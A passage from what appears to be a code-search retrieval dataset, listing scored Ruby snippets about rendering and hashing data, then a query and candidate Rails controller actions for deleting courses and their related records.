"docid": "bd78cc598339a5a7cddf6db4f2db77c6",
"score": "0.56689316",
"text": "def render content, pad, color_pair, attr\n cp = color_pair\n FFI::NCurses.wbkgd(pad, FFI::NCurses.COLOR_PAIR(color_pair) | attr);\n FFI::NCurses.wattron(pad, FFI::NCurses.COLOR_PAIR(cp) | attr)\n # WRITE\n #filler = \" \"*@content_cols\n content.each_index { |ix|\n #FFI::NCurses.mvwaddstr(pad,ix, 0, filler)\n FFI::NCurses.mvwaddstr(pad,ix, 0, content[ix])\n }\n FFI::NCurses.wattroff(pad, FFI::NCurses.COLOR_PAIR(cp) | attr)\n end",
"title": ""
},
{
"docid": "8cb41ffc2ccde1f67e46f6973cd6d0c9",
"score": "0.56613153",
"text": "def render(data)\n engine.interpolate(document, data).root.to_s\n end",
"title": ""
},
{
"docid": "5406344f90479f1bcea64f4124283a96",
"score": "0.5653836",
"text": "def render_hash\n # TODO: This implementation is trivially correct, but very wasteful.\n #\n # Is something with Ruby's built-in `hash` Good Enough(TM)?\n #\n # instance_variables\n # .map { |ivar| instance_variable_get(ivar).hash }\n # .reduce(0, &:^)\n\n key, _state = Motion.serializer.serialize(self)\n key\n end",
"title": ""
},
{
"docid": "a98b8787f98c3e9f62db1ea42e5ee4f4",
"score": "0.56429106",
"text": "def render(data={}) #(mode=:screen) #, props={})\n render_tree(data)\n end",
"title": ""
},
{
"docid": "dce5fee37509e2d69c352daef7fb3e15",
"score": "0.5642852",
"text": "def render\n if Vedeu::Configuration.drb?\n Vedeu.trigger(:_drb_store_output_, output)\n\n # Vedeu::Renderers::HTML.to_file(Vedeu::VirtualBuffers.retrieve)\n end\n\n Vedeu.renderers.render(output) if Vedeu.ready?\n end",
"title": ""
},
{
"docid": "1708b4ad8f285bd886387849f81fb2f8",
"score": "0.56348395",
"text": "def render\n wrap(@bin_packer.bins).html_safe\n end",
"title": ""
},
{
"docid": "5fe511cad1b7fe437b346f0156bc3074",
"score": "0.56092393",
"text": "def render_hash(input_hash)\n output = \"{\"\n (0..input_hash.keys.size).each do |i|\n if input_hash[input_hash.keys[i]].class == String\n output += self.render_string(input_hash.keys[i].to_s) + \":\" +self.render_string(input_hash[input_hash.keys[i]])\n end\n if input_hash[input_hash.keys[i]].class == Fixnum\n output += self.render_string(input_hash.keys[i].to_s) + \":\" +self.render_integer(input_hash[input_hash.keys[i]])\n end\n if input_hash[input_hash.keys[i]].class == Array\n output += self.render_string(input_hash.keys[i].to_s) + \":\" +self.render_list(input_hash[input_hash.keys[i]])\n end\n if input_hash[input_hash.keys[i]].class == Hash\n output += self.render_string(input_hash.keys[i].to_s) + \":\" + self.render_hash(input_hash[input_hash.keys[i]])\n end\n if i < input_hash.keys.size - 1\n output += \",\"\n end\n end\n output += \"}\"\n end",
"title": ""
},
{
"docid": "d60442988c5f31b1e7b9b284f54ed5f0",
"score": "0.56072056",
"text": "def render_image_data(image_data); render_image(image_data, :data); end",
"title": ""
},
{
"docid": "45df3f6706efcc9db0e0e730bf441964",
"score": "0.5598719",
"text": "def block_hash\n data = Utils::DataWriter.new\n serialize_header data\n hash1 = Digest::SHA256.digest(data.io.string)\n hash2 = Digest::SHA256.hexdigest(hash1)\n Utils.reverse_hex_string(hash2)\n end",
"title": ""
},
{
"docid": "b120fa43c51176b890fc133e8425d5c3",
"score": "0.55732286",
"text": "def render r\n end",
"title": ""
},
{
"docid": "b3e90c33acdd2b1fcc159372ba4b8d2e",
"score": "0.5561916",
"text": "def render(output)\n storage.map do |renderer|\n Vedeu.log(type: :render,\n message: \"Rendering via #{renderer.class.name}\")\n\n perform(renderer) { renderer.render(output) }\n end.each(&:join) if Vedeu.ready?\n\n output\n end",
"title": ""
},
{
"docid": "2c45d7e5023b7bb83a98ab7b75fbd37b",
"score": "0.5553532",
"text": "def render\n super(@template, @data)\n end",
"title": ""
},
{
"docid": "7d8c6c8bfaa675c03c6bbf57ca2d1806",
"score": "0.55502564",
"text": "def render\n return ro_standard if @readonly\n\n set_initial_value\n record = record_text_for(@yaml['name'])\n # Convert Hash to values separated by colon\n if @record[@yaml['name']]\n @yaml['html']['value'] = @record[@yaml['name']].to_a.inject('') {|r, e| r << \"#{e.first}:#{e.last}\\n\"}\n end\n @html << @parent.text_area( record, @yaml['name'], @yaml['html']) \n self\nend",
"title": ""
},
{
"docid": "3e96b5b0810b1ac5008575fd9f0a8978",
"score": "0.5540231",
"text": "def display(data)\n data = Hashie.stringify_keys(data)\n display = YAML.dump(data).sub(/\\A---\\n/, \"\").gsub(/^/, \" \")\n end",
"title": ""
},
{
"docid": "b83f5065d350770215d5f18d4850ecd7",
"score": "0.553542",
"text": "def show(data, addr)\n\t\tmessage(\"--[ #{@memory.name} ]--\") unless data.empty?\n\n\t\twhile not data.empty?\n\t\t\tline = data.slice!(0, 16)\n\t\t\t\n\t\t\thex = Color.hex_data + format(\"%02x \"*[8, line.length].min + \" \" +\n\t\t\t\t\t\t\t\t\"%02x \"*[8, [line.length-8, 0].max].min, *line)\n\n\t\t\tascii = Color.ascii_data\n\t\t\tline.each {|c| ascii += format(((0x20..0x7F)===c ? \"%c\" : \".\"), c)}\n\n\t\t\tmessage(format(Color.address+\"%04x %-59s %s\\n\", addr, hex,ascii))\n\n\t\t\taddr += 16\n\t\tend\n\tend",
"title": ""
},
{
"docid": "13cc3a92b9b51c51968142ac1693153e",
"score": "0.55301416",
"text": "def render\n @addresses.map { |address| render_address(address.to_h) }.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "694bd3f40ca7d40964f0fe7e5cb02bdf",
"score": "0.5522659",
"text": "def hash\n strs = []\n @data.each do |key, val|\n strs << \"#{key}:#{val}\"\n end\n \n return Digest::MD5.hexdigest(strs.join(\",\"))\n end",
"title": ""
},
{
"docid": "ed1e9dec82c4fa93642832c69c4ac5ed",
"score": "0.55147344",
"text": "def run(data = @data)\n \n open_files()\n # open_renderer()\n write_data(data)\n # render()\n close()\n \n end",
"title": ""
},
{
"docid": "d96f49c957a8bfedbc161e14d1d9f7ad",
"score": "0.549487",
"text": "def render_data pad, lineno, text\n text = text.join\n # FIXME why repeatedly getting this colorpair\n cp = @color_pair\n att = @attrib\n FFI::NCurses.wattron(pad,FFI::NCurses.COLOR_PAIR(cp) | att)\n FFI::NCurses.mvwaddstr(pad, lineno, 0, text)\n FFI::NCurses.wattroff(pad,FFI::NCurses.COLOR_PAIR(cp) | att)\n end",
"title": ""
},
{
"docid": "edbc9edd0c5dd77ac194509aadc07c55",
"score": "0.5480111",
"text": "def render_box(&block)\n @output_buffer\n end",
"title": ""
},
{
"docid": "5eb7ee19866f69c606f3560469cc4e60",
"score": "0.5467447",
"text": "def view_data()\n if @@main_hash.length == 0\n puts(\"There is currently no data stored in the system.\") #If there is no info in the main_hash, an error message is returned\n else\n Methods.new.arr_hash(0) #Call the arr_hash method to print out main_hash contents\n end\n puts\n end",
"title": ""
},
{
"docid": "41a529e53995f90b781f1cf008675482",
"score": "0.54550445",
"text": "def render(*args, &block); end",
"title": ""
},
{
"docid": "42285d2f3214f089e9f4874a0483ab94",
"score": "0.5453491",
"text": "def output\n @data << state + \"\\n\"\n end",
"title": ""
},
{
"docid": "52dd9a3d364da71e6aee7a3f2773f130",
"score": "0.54524434",
"text": "def render\n if Vedeu::Configuration.drb?\n Vedeu.trigger(:_drb_store_output_, content)\n\n Vedeu::Renderers::HTML.to_file(Vedeu::VirtualBuffer.retrieve)\n end\n\n Vedeu.renderers.render(content)\n end",
"title": ""
},
{
"docid": "ec9b7bd2a8beec4e1239d2e05ba5647e",
"score": "0.5449269",
"text": "def build_html(root, data)\n\t\treturn root.render_output(data)\n\tend",
"title": ""
},
{
"docid": "063b79fd75e04b37b15a06f466dd234b",
"score": "0.5444661",
"text": "def representation\n raise UnnacceptableDataError, \"key and data must be defined\" if @key.nil? || @data.nil?\n byte_string + crc_string\n end",
"title": ""
},
{
"docid": "bfc913218cf39027e8a5d01b4695ac5d",
"score": "0.54338014",
"text": "def render\n @rows.each { |row| puts row.map(&:to_s).join(' ') }\n nil\n end",
"title": ""
},
{
"docid": "d61ff8bf44a3be8adc567feae72dfb73",
"score": "0.54333884",
"text": "def render_data\n {\n dealership: dealership,\n vehicle: @vehicle,\n username: @username,\n password: @password\n }\n end",
"title": ""
},
{
"docid": "557e9acae1ee204d05a511d36a9b2b18",
"score": "0.5423681",
"text": "def tabular_output_render\n return unless collect_output?\n\n @rocket_job_output = tabular_output.render(@rocket_job_output)\n end",
"title": ""
},
{
"docid": "40d841dadf99fcd0631d512f24a26fa0",
"score": "0.5423676",
"text": "def format(data = {})\n @format.dump evaluate_procs(@context).merge(data)\n end",
"title": ""
},
{
"docid": "271a322158db5050453ccbf8e529fd53",
"score": "0.54222137",
"text": "def render\n # Update attributes.\n attributes[:Count] = @pages.size\n attributes[:Kids] = list(@pages.map(&:ref))\n # Render content.\n super\n end",
"title": ""
},
{
"docid": "a7a27bdcda5c9d6d956c034f136b5dd8",
"score": "0.54200536",
"text": "def each &block\r\n\t\t@hashedData.each{|data| yield data}\r\n\tend",
"title": ""
},
{
"docid": "2b05f1e96f39ced52b978810e657e8ae",
"score": "0.54198974",
"text": "def render_answer(succeed, data) # :nodoc:\n render :text => {'succeed' => succeed, 'data' => data}.to_json\n end",
"title": ""
},
{
"docid": "376bf04902aef4b9990a7a3a788d17f4",
"score": "0.54198545",
"text": "def hash\n data.hash + type.hash\n end",
"title": ""
},
{
"docid": "468a289f0e1563ceeab7112744e4b21e",
"score": "0.54175884",
"text": "def render(context)\n\t\t\tout=\"<table cellspacing='0' width='100%'>\\n\"\n\t\t\theader='odd'\n\t\t\t@data['game'].each do |item|\n\t\t\t\tout=\"#{out}<tr class='#{header}'>\"\n\t\t\t\tname = item['name'][0]\n\t\t\t\ttitle = item['title'][0]\n\t\t\t\tversion = item['version'][0]\n\t\t\t\turl = item['url'][0]\n\t\t\t\tdescurl = item['descurl'][0]\n\t\t\t\tlang = item['lang'][0]\n\t\t\t\tsize = item['size'][0]\n\t\t\t\tkb = size.to_f / 1024\n\t\t\t\tmb = kb / 1024\n\t\t\t\tif mb.floor == 0 then\n\t\t\t\t\tsize = \"#{kb.round(0)}КБ\"\n\t\t\t\telse\n\t\t\t\t\tsize = \"#{mb.round(1)}МБ\"\n\t\t\t\tend\n\t\t\t\tout=\"#{out}<td style='text-align:left'><a href='#{descurl}'>#{title}</a></td><td>#{version}</td><td><a href='#{url}' class='download-game'>#{size}</a></td><td><img src='/images/#{lang}.png'/></td></tr>\\n\"\n\t\t\t\tif header == 'odd' then\n\t\t\t\t\theader = 'even'\n\t\t\t\telse\n\t\t\t\t\theader = 'odd' \n\t\t\t\tend\n\t\t\tend\n\t\t\t\"#{out}</table>\\n\"\n\t\tend",
"title": ""
},
{
"docid": "88792247c9c10d80934bd297a631d31b",
"score": "0.5411173",
"text": "def process\n write_to_output(render)\n end",
"title": ""
},
{
"docid": "0889b9701a0128adfc7fe8b2689ab675",
"score": "0.54042757",
"text": "def formatted_data(&block)\n @blob && @site.markup_class.new(self).render(historical?, &block)\n end",
"title": ""
},
{
"docid": "28992420eb9baa4f042d7a489919dad3",
"score": "0.54042083",
"text": "def render(hits)\n # Implemented by subclasses. Given the hits corresponding to this\n # character of the screen, return a tuple [char, color] of what should\n # be printed.\n # The argument hits is an array of arrays of tuples [counter, color].\n # It's indexed in the y-direction first, and has size y_pixel_per_char\n # times x_pixel_per_char.\n end",
"title": ""
},
{
"docid": "a88626e33ee305777086e66dd86e8330",
"score": "0.5388838",
"text": "def render\n outputs.primitives << [\n { w: 1280, h: 720, r: 0, g: 0, b: 0}.solid,\n { x: 640, y: 460, text: 'You have died.', r: 255, g: 255, b: 255, size_enum: 5, alignment_enum: align(:center) }.label,\n { x: 640, y: 400, text: state.death_message, r: 255, g: 255, b: 255, size_enum: 5, alignment_enum: align(:center) }.label,\n { x: 640, y: 340, text: \"You made $#{state.money}, and survived #{state.time_of_death.fdiv(3600).to_sf} minutes.\", r: 255, g: 255, b: 255, size_enum: 5, alignment_enum: align(:center) }.label\n ]\n end",
"title": ""
},
{
"docid": "b55fdd594503381cbfdcc90360da197b",
"score": "0.5379591",
"text": "def output(data)\n # puts \"-> #{data}\"\n if output_block\n output_block.call(data)\n else\n puts data\n end\n end",
"title": ""
},
{
"docid": "6904978a811daaffd7ecc3a07d6a2a9c",
"score": "0.5369694",
"text": "def draw(data)\n data.each do |k, v|\n instance_variable_set \"@#{k}\", v\n end\n\n update_screen\n end",
"title": ""
},
{
"docid": "7a9ee7d8df24ea3cde96535b5c551962",
"score": "0.5369048",
"text": "def render\n @result.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "a2bb77b359342ffc579031cde3da1aba",
"score": "0.5361688",
"text": "def render\n system(\"clear\")\n puts \"\\n\\n\"\n\n build_display_grid.each_with_index do |row, idx|\n puts \" #{8 - idx} │ #{row.join}\"\n end\n\n puts \" ────────────────────────\"\n puts \" A B C D E F G H\"\n puts \"\"\n\n if notifications[:player]\n puts \" \" + notifications[:player].colorize({style: :bold, background: :cyan})\n end\n\n if notifications[:instructions]\n puts \" \" + notifications[:instructions].colorize({background: :cyan})\n end\n\n if notifications[:alerts]\n puts \" \" + notifications[:alerts].colorize({background: :purple})\n end\n\n if notifications[:winner]\n puts \" \" + notifications[:winner].colorize({foreground: :cyan, style: :bold})\n end\n end",
"title": ""
},
{
"docid": "581a65d4224ddbe0c5c5e74c9a61c617",
"score": "0.5360997",
"text": "def render_file(filename, hash)\n Wright::Util::FileRenderer.new(hash).render(filename)\n end",
"title": ""
},
{
"docid": "809fc5a77e45ee75ff6a0f709c37923c",
"score": "0.5360764",
"text": "def render\n generate_headers \n generate_rows\n end",
"title": ""
},
{
"docid": "9849a076914dfdefeca13f3faca15928",
"score": "0.53584814",
"text": "def digest_h(data)\n ::Digest::MD5.hexdigest data\n end",
"title": ""
},
{
"docid": "291dca077001bbcf7573ecff8166503a",
"score": "0.5356979",
"text": "def render_data(params) #:nodoc:\n @render_series = data.size if @render_series.nil?\n raw = data && data.first.is_a?(Array) ? data : [data]\n max = self.max || raw.collect { |s| s.max }.max\n\n sets = raw.collect do |set|\n set.collect { |n| GChart.encode(:extended, n, max) }.join\n end\n params[\"chd\"] = \"e#{@render_series}:#{sets.join(\",\")}\"\n end",
"title": ""
},
{
"docid": "891d7fc86eb7f207f2b7bc0186a0dc04",
"score": "0.5351608",
"text": "def render(chance=nil)\n @chunkdata.render chance\n end",
"title": ""
},
{
"docid": "ceabc3ef225f3dddfe313559618fc78d",
"score": "0.53501606",
"text": "def ls_data(width, height, render_width, render_height, scale)\n {\n 'ow' => width,\n 'oh' => height,\n 'lsw' => render_width,\n 'lsh' => render_height,\n 'scale' => scale\n }\n end",
"title": ""
},
{
"docid": "8835bdfbb85acb9065895340afc7adc4",
"score": "0.5350025",
"text": "def hash_record(data)\n\n # %u %s=%s\\n\n # len name=hash\n\n hash = Digest::SHA1.hexdigest(data)\n name = \"APK-TOOLS.checksum.SHA1\"\n\n ret = \"#{name}=#{hash}\\n\"\n\n # the length requirement needs to know its own length too, because the length\n # is the entire length of the line, not just the contents.\n length = ret.length\n line_length = length.to_s\n length += line_length.length\n candidate_ret = \"#{line_length} #{ret}\"\n\n if(candidate_ret.length != length)\n length += 1\n candidate_ret = \"#{length.to_s} #{ret}\"\n end\n\n ret = candidate_ret\n\n # pad out the result\n ret = pad_string_to(ret, TAR_CHUNK_SIZE)\n return ret\n end",
"title": ""
},
{
"docid": "150cb1449f2071de26a5ac1c509e7e16",
"score": "0.53481203",
"text": "def formatted_data(&block)\n @blob && @wiki.markup_class.new(self).render(historical?, &block)\n end",
"title": ""
},
{
"docid": "6e3610ac2371c8f0191ade5aba78e2f8",
"score": "0.5343483",
"text": "def render( state )\n\t\treturn ''\n\tend",
"title": ""
},
{
"docid": "166a08ec1a5d54a2edc9e08964f759c3",
"score": "0.53421503",
"text": "def printFormatWithHash (aHash, io = @io)\n useHash( true )\n @binding = aHash\n printBodyFormat(io)\n end",
"title": ""
},
{
"docid": "893b1b5203913d843c08796d064a6ae7",
"score": "0.53412414",
"text": "def render \n table = TTY::Table.new header: ['Card #','Color', 'Shape', 'Number', 'Shading']\n index = 1\n card_list.each do |card|\n table << [index.to_s, num_to_color(card.color), num_to_shape(card.shape), (card.number + 1).to_s, num_to_shading(card.shading)]\n index += 1\n end\n\n finalTable = table.render :unicode do |renderer| \n renderer.alignments = [:center, :left, :left, :left, :left]\n renderer.border.separator = :each_row\n end\n\n puts finalTable\n end",
"title": ""
}
] |
81b080c7d2b501d1d92bc4cbf2e2a5c3
|
handles the bulk deletion of courses, deleting year structures, groups and any logs which may reference this course
|
[
{
"docid": "1d2c20c99a7a73b150308fbc198b2d96",
"score": "0.76380724",
"text": "def bulk_delete\n course_ids_string = params[:ids]\n course_ids = eval(course_ids_string)\n\n course_ids.each do |id|\n course = Course.find(id.to_i)\n if !course.nil?\n course.year_structures.each do |year_structure|\n Group.where(year_structure_id: year_structure.id).destroy_all\n end\n YearStructure.where(course_id: course.id).destroy_all\n pathway_search_logs = PathwaySearchLog.all.where(:course_id => course.id)\n if pathway_search_logs.size >0\n pathway_search_logs.each do |log|\n log.destroy\n end\n end \n Pathway.where(course_id: course.id).destroy_all\n SuggestedPathway.where(course_id: course.id).destroy_all\n course.destroy\n end\n end\n\n head :no_content\n end",
"title": ""
}
] |
[
{
"docid": "269cc9d76f83f019161bf6693d37d7fa",
"score": "0.7498519",
"text": "def destroy\n @course = Course.find(params[:id])\n\n @course.year_structures.each do |year_structure|\n Group.where(year_structure_id: year_structure.id).destroy_all\n end\n YearStructure.where(course_id: @course.id).destroy_all\n\n @course.users.each do |user|\n user.update_attribute(\"course_id\", nil)\n end\n\n\n pathway_search_logs = PathwaySearchLog.all.where(:course_id => @course.id)\n if pathway_search_logs.size >0\n pathway_search_logs.each do |log|\n log.destroy\n end\n end \n\n Pathway.where(course_id: @course.id).destroy_all\n SuggestedPathway.where(course_id: @course.id).destroy_all\n\n @course.destroy\n flash[:success] = \"Successfully deleted \" + @course.name\n redirect_to(admin_courses_path)\n end",
"title": ""
},
{
"docid": "6b84e6b104a332577e172c56f231551f",
"score": "0.72536796",
"text": "def delete_courses(courses_array)\n courses_array.each do |course|\n course_id = course[\"id\"]\n if course[\"user_deleted\"] == \"1\"\n Course.where(id: course_id).delete\n reservations = Reservation.where(course_id: course_id)\n reservations.each { |r| r.logbook_notes.delete }\n reservations.delete\n end\n end\n end",
"title": ""
},
{
"docid": "9266ac24649e73c54da23a7fd007e094",
"score": "0.6987839",
"text": "def destroy\n @course = Course.find(params[:id])\n if @course.is_instructor == true\n Course.find_by_sql(\"select * from courses where course_code like '%#{@course.course_code}%'\").each do |course|\n course.destroy\n end\n Assignment.find_by_sql(\"select * from assignments where course like '%#{@course.course_code}%'\").each do |assignment|\n assignment.destroy\n end\n Question.find_by_sql(\"select * from questions where course like '%#{@course.course_code}%'\").each do |question|\n question.destroy\n end\n Answer.find_by_sql(\"select * from answers where course like '%#{@course.course_code}%'\").each do |answer|\n answer.destroy\n end\n end\n \n @course.destroy\n \n \n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b84773855c3cdfb49ecad4ba040de156",
"score": "0.66776806",
"text": "def destroy\n @course = Course.find(params[:id])\n if @course.present?\n taught_course = TaughtBy.find_by course_id: @course.id\n taught_course.destroy if taught_course.present?\n enrolled = EnrolledIn.where course_id: @course.id\n enrolled.destroy_all if enrolled.present?\n projects = Project.where course_id: @course.id\n projects.destroy_all if projects.present?\n @course.destroy\n end\n redirect_to courses_path\n end",
"title": ""
},
{
"docid": "e9e63047089c8ba224a4386ae5b05202",
"score": "0.6666091",
"text": "def destroy\n # remove all groups belonging to a course\n for i in 0...@course.group_ids.length\n Group.find(@course.group_ids[i]).destroy\n end\n # remove the course\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9b98e5188cc094e7708e81c39c661f36",
"score": "0.6661333",
"text": "def destroy\n @course = Course.find(params[:id])\n @file = @course_path.to_s + '/' + params[:id].to_s + '/' + @course.file.to_s\n @filetree = @course_path.to_s + '/' + params[:id].to_s\n self.cleanup\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5c926eb42c6be5806a8f25d1f9afa041",
"score": "0.6649498",
"text": "def destroy\n @course = Course.find(params[:id])\n @learners = Learner.find_all_by_course_id(@course.id)\n @learners.each { |learner|\n decrease_course_columns_while_deleting(@course,learner)\n learner.destroy\n }\n FileUtils.rm_r @course.path\n @course.destroy\n redirect_to(\"/courses\")\n end",
"title": ""
},
{
"docid": "4dc11beabffbb4769c83c06ff2d09ca3",
"score": "0.6645723",
"text": "def destroy\n @courses = Course.all\n @course = Course.find(params[:id])\n @course.destroy\n end",
"title": ""
},
{
"docid": "e642ddb88168c7ef442365d1e4c0b444",
"score": "0.6576512",
"text": "def destroy\n @course = Course.find(params[:id])\n \n students = StudentInCourse.where(:course_ID => @course.id)\n students.each do |s|\n s.destroy\n end \n\n answers = Answer.where(:course_ID => @course.id)\n answers.each do |a|\n a.destroy\n end\n\n grades = Grade.where(:course_ID => @course.id)\n grades.each do |g|\n g.destroy\n end\n\n @course.destroy\n redirect_to show_all_course_path(:instructor_ID => @course.instructor_ID)\n end",
"title": ""
},
{
"docid": "cf7af50ce4a373ad210941090be14a4a",
"score": "0.6524856",
"text": "def delete_course\n course = Course.find(params[:course_id])\n if course\n @career_path.courses.delete(course)\n end\n end",
"title": ""
},
{
"docid": "649142710bf4cb91e5e916b61c763c9e",
"score": "0.6495629",
"text": "def destroy\n @course.destroy\n end",
"title": ""
},
{
"docid": "649142710bf4cb91e5e916b61c763c9e",
"score": "0.6494908",
"text": "def destroy\n @course.destroy\n end",
"title": ""
},
{
"docid": "649142710bf4cb91e5e916b61c763c9e",
"score": "0.6494908",
"text": "def destroy\n @course.destroy\n end",
"title": ""
},
{
"docid": "13de620102c3713e28799e9b0ca9819b",
"score": "0.6469337",
"text": "def destroy\n @court = Court.find(params[:id])\n @court.destroy\n purge_all_pages\n\n respond_to do |format|\n format.html { redirect_to admin_courts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a0201dedc61d5cba5f92da03cff3685a",
"score": "0.6444047",
"text": "def remove\r\n user = User.find session[:user]\r\n @course_id = params[:course_id].to_i\r\n @semester_id = params[:semester_id].to_i\r\n course = CisCourse.find(@course_id)\r\n \r\n \r\n if @semester_id == -1\r\n user.course_bin.cis_courses.delete(course)\r\n else\r\n semester = Semester.find(@semester_id)\r\n semester.cis_courses.delete(course)\r\n # sections from semester plan\r\n course.sections_for_semester(Semester.find(@semester_id)) and user.semesters.find(@semester_id).course_plan.remove_cis_sections course.sections_for_semester(Semester.find(@semester_id))\r\n end\r\n end",
"title": ""
},
{
"docid": "4863acefcf448a81ee45980607627225",
"score": "0.64327914",
"text": "def delete\n\t\tusernow = User.find(session[:'warden.user.user.key'][1][0])\n\t\tobj = usernow.past_courses.find(:all, :conditions => \n\t\t\t\t[\"past_courses.course_code IN (?) AND past_courses.year IN(?)\",\n\t\t\t\tparams[:courseCode], params[:year]])\n\t\tobj.each {|o| o.destroy}\n\t\tredirect_to :action=> 'transcript',:controller=>'pages'\n\tend",
"title": ""
},
{
"docid": "cf429fdbb2a2972a6ae11c7b0818b159",
"score": "0.64262545",
"text": "def destroy\n @user_course = current_user.user_courses.find(params[:id])\n \n #delete all office hours\n @officehours = @user_course.office_hours.all\n @officehours.each do |o|\n o.destroy\n end\n \n #delete all ratings\n @ratings = @user_course.ratings.all\n @ratings.each do |r|\n r.destroy\n end\n \n @user_course.destroy\n\n redirect_to(user_courses_url)\n end",
"title": ""
},
{
"docid": "1ac066ce7b6cf5992877ecc32271f569",
"score": "0.634924",
"text": "def destroy\n @course = current_group.courses.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "660ac4870bc4a203246599b7b271268f",
"score": "0.63264984",
"text": "def destroy\n delete_course(params[:course_id])\n flash[:success] = 'Course deleted'\n redirect_to current_user\n end",
"title": ""
},
{
"docid": "5309b39ef4304c5556c957e0563e343d",
"score": "0.6324607",
"text": "def destroy\n raise SecurityTransgression unless current_user.can_destroy? @course\n @course.destroy\n redirect_to courses_url\n end",
"title": ""
},
{
"docid": "cb18a9c86e4fab0e3ba0f24a02dbaffc",
"score": "0.63081175",
"text": "def destroy\n @users_course = UsersCourse.where(:course_id => @course.id)\n @users_course.each do |user_course|\n UsersCourse.destroy(user_course.id)\n end\n\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: \"Course was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e3fc5f45f0f318cc9768b65c47f3906",
"score": "0.6306022",
"text": "def destroy\n if !@@isAdmin\n redirect_to course_url\n end\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f619bec05c1a9fc3a98e9b99abb8121d",
"score": "0.6299156",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to admin_courses_url, notice: '删除成功!' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7045a4056311f52b8a70c51480b3a4ad",
"score": "0.62980115",
"text": "def destroy\n @course = Course.find(params[:id])\n name = @course.name\n @course.destroy\n flash[:notice] = name + ' and all of its lessons, logs, courseplans, coursenotes, and attendances successfully deleted'\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.xml { render :nothing => true }\n end\n end",
"title": ""
},
{
"docid": "755b4e1dc8a6c9c72c579700fbdfca28",
"score": "0.62886196",
"text": "def destroy\n authorize! :delete, @course\n @course.destroy\n flash[:notice] = t('course_deleted')\n redirect_to courses_path\n end",
"title": ""
},
{
"docid": "2d6765481cd97e39a452e10a4048fc2f",
"score": "0.6288196",
"text": "def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to admin_courses_url, notice: t('activerecord.models.course') +'删除成功!' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c305392a51a0df266d02828e059e0412",
"score": "0.628634",
"text": "def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { \n if request.xhr?\n render :update do |page|\n page.remove \"courses_table_#{@course.id}\"\n end\n else\n redirect_to(courses_url)\n end\n }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "20bb97e9a7ab45b670a71c898f610a2c",
"score": "0.6276387",
"text": "def destroy\n @cal_course = CalCourse.find(params[:id])\n semester_id = @cal_course.semester.id\n @cal_course.destroy_associations\n if @cal_course.destroy\n flash[:notice] = \"CalCourse '#{@cal_course.name}' succesfully destroyed.\"\n redirect_to cal_courses_path(:semester_id => semester_id)\n else\n flash[:error] = 'Something went wrong'\n render :action => :edit\n end\n end",
"title": ""
},
{
"docid": "5b3c347ded690492d23cc5162a4d0f81",
"score": "0.6264239",
"text": "def destroy\n @course = Course.find(params[:id])\n \n @surveys = Survey.find(:all, :conditions => {'course_id' => @course.id })\n @surveys.each do |survey|\n survey.course_id = nil\n survey.save\n end\n \n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => 'user_courses' }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1a88655d595f2d1531fca3ff64f617d0",
"score": "0.62532103",
"text": "def destroy\n Course.find(params[:id]).destroy\n redirect_to course_list_url\n end",
"title": ""
},
{
"docid": "d413b30a6f2ef6d0ccec4aa89a0a4400",
"score": "0.62521666",
"text": "def destroy\n if !is_admin\n flash[:danger] = \"Not authorized\"\n redirect_to root_path\n else\n @course.destroy\n flash[:success] = \"Course is successfully deleted\"\n redirect_to admin_course_edit_path\n end\n end",
"title": ""
},
{
"docid": "ada0fc78f1f9f7be77f170385eb52543",
"score": "0.6247559",
"text": "def destroy\n if params[:ids]\n Course.find(params[:ids]).map(&:destroy)\n else\n Course.destroy_all\n end\n redirect_to :action => :index\n end",
"title": ""
},
{
"docid": "c15de5ef11d6ea81c753b332328295cb",
"score": "0.6245232",
"text": "def destroy\n @course = Course.find(params[:id])\n @course.destroy\n \n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d79aea2725023aa31917671b739e40fd",
"score": "0.62402105",
"text": "def destroy\n if current_user.admin\n @course = Course.find(params[:id])\n if @course.destroy\n flash[:success] = \"Wahoo! You've successfully deleted a course.\"\n redirect_to courses_path\n else\n flash[:fail] = \"Aw, Squid! Something went wrong. Please try again.\"\n redirect_to :back\n end\n else\n redirect_to current_user\n end\n end",
"title": ""
},
{
"docid": "677d9ff227887d3e0f46b1d240518517",
"score": "0.6235177",
"text": "def drop_course(course)\n course.delete\n end",
"title": ""
},
{
"docid": "2184b1d38c71999b935350aade9854c4",
"score": "0.62277645",
"text": "def destroy\n # @yearly_detail_course = YearlyDetailCourse.find(params[:id])\n @yearly_detail_course.destroy\n\n respond_to do |format|\n format.html { redirect_to yearly_detail_courses_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8098aba1df5476685b1ba11b47131285",
"score": "0.62234807",
